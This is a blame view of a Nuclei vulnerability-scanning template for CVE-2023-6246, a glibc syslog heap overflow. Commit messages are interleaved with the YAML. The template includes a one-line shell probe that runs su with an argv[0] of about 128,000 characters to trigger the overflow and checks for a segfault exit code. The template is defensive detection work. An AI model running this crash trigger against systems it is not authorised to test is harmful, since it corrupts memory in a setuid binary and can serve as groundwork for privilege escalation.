daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/code/cves/2023/CVE-2023-6246.yaml

42 lines
1.7 KiB
YAML
Raw Normal View History

Create CVE-2023-6246.yaml A heap-based buffer overflow was found in the __vsyslog_internal function of the glibc library. This function is called by the syslog and vsyslog functions. This issue occurs when the openlog function was not called, or called with the ident argument set to NULL, and the program name (the basename of argv[0]) is bigger than 1024 bytes, resulting in an application crash or local privilege escalation. This issue affects glibc 2.36 and newer. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2024-02-01 10:32:38 +00:00
id: CVE-2023-6246
info:
name: glibc's syslog - Local Privilege Escalation
author: gy741
severity: high
description: |
A heap-based buffer overflow was found in the __vsyslog_internal function of the glibc library. This function is called by the syslog and vsyslog functions. This issue occurs when the openlog function was not called, or called with the ident argument set to NULL, and the program name (the basename of argv[0]) is bigger than 1024 bytes, resulting in an application crash or local privilege escalation. This issue affects glibc 2.36 and newer.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-6246
- https://www.qualys.com/2024/01/30/cve-2023-6246/syslog.txt
TemplateMan Update [Mon Mar 4 08:20:22 UTC 2024] :robot:
2024-03-04 08:20:22 +00:00
- https://access.redhat.com/security/cve/CVE-2023-6246
- https://bugzilla.redhat.com/show_bug.cgi?id=2249053
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/D2FIH77VHY3KCRROCXOT6L27WMZXSJ2G/
Create CVE-2023-6246.yaml A heap-based buffer overflow was found in the __vsyslog_internal function of the glibc library. This function is called by the syslog and vsyslog functions. This issue occurs when the openlog function was not called, or called with the ident argument set to NULL, and the program name (the basename of argv[0]) is bigger than 1024 bytes, resulting in an application crash or local privilege escalation. This issue affects glibc 2.36 and newer. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2024-02-01 10:32:38 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.8
cve-id: CVE-2023-6246
TemplateMan Update [Mon Mar 4 08:20:22 UTC 2024] :robot:
2024-03-04 08:20:22 +00:00
cwe-id: CWE-787,CWE-122
TemplateMan Update [Sat Mar 23 09:28:19 UTC 2024] :robot:
2024-03-23 09:28:19 +00:00
epss-score: 0.0077
Revert "TemplateMan Update [Mon Apr 8 11:30:07 UTC 2024] :robot:" This reverts commit 433dda4ae5b824564b44075bb95a96ecdbe263a6.
2024-04-08 11:34:33 +00:00
epss-percentile: 0.80859
Create CVE-2023-6246.yaml A heap-based buffer overflow was found in the __vsyslog_internal function of the glibc library. This function is called by the syslog and vsyslog functions. This issue occurs when the openlog function was not called, or called with the ident argument set to NULL, and the program name (the basename of argv[0]) is bigger than 1024 bytes, resulting in an application crash or local privilege escalation. This issue affects glibc 2.36 and newer. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2024-02-01 10:32:38 +00:00
cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
metadata:
max-request: 1
TemplateMan Update [Mon Mar 4 08:20:22 UTC 2024] :robot:
2024-03-04 08:20:22 +00:00
vendor: gnu
product: glibc
Revert "TemplateMan Update [Mon Apr 8 11:30:07 UTC 2024] :robot:" This reverts commit 433dda4ae5b824564b44075bb95a96ecdbe263a6.
2024-04-08 11:34:33 +00:00
tags: cve,cve2023,code,glibc,linux,privesc,local
Create CVE-2023-6246.yaml A heap-based buffer overflow was found in the __vsyslog_internal function of the glibc library. This function is called by the syslog and vsyslog functions. This issue occurs when the openlog function was not called, or called with the ident argument set to NULL, and the program name (the basename of argv[0]) is bigger than 1024 bytes, resulting in an application crash or local privilege escalation. This issue affects glibc 2.36 and newer. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2024-02-01 10:32:38 +00:00
self-contained: true
code:
- engine:
- sh
- bash
source: |
(exec -a "`printf '%0128000x' 1`" /usr/bin/su < /dev/null)
echo $?
matchers:
- type: word
words:
- "127" # Segmentation Fault Exit Code
Auto Template Signing [Mon Mar 25 11:57:16 UTC 2024] :robot:
2024-03-25 11:57:16 +00:00
# digest: 490a0046304402204e884ed16aed759a6b31c001e50ee4aed4db45f060d3335e1b6f28935eae4135022051929119a0bf2eac944500d98af2720a6ff835dcb875f35cc6390fbdf47c8bda:922c64590222798bb761d5b6d8e72950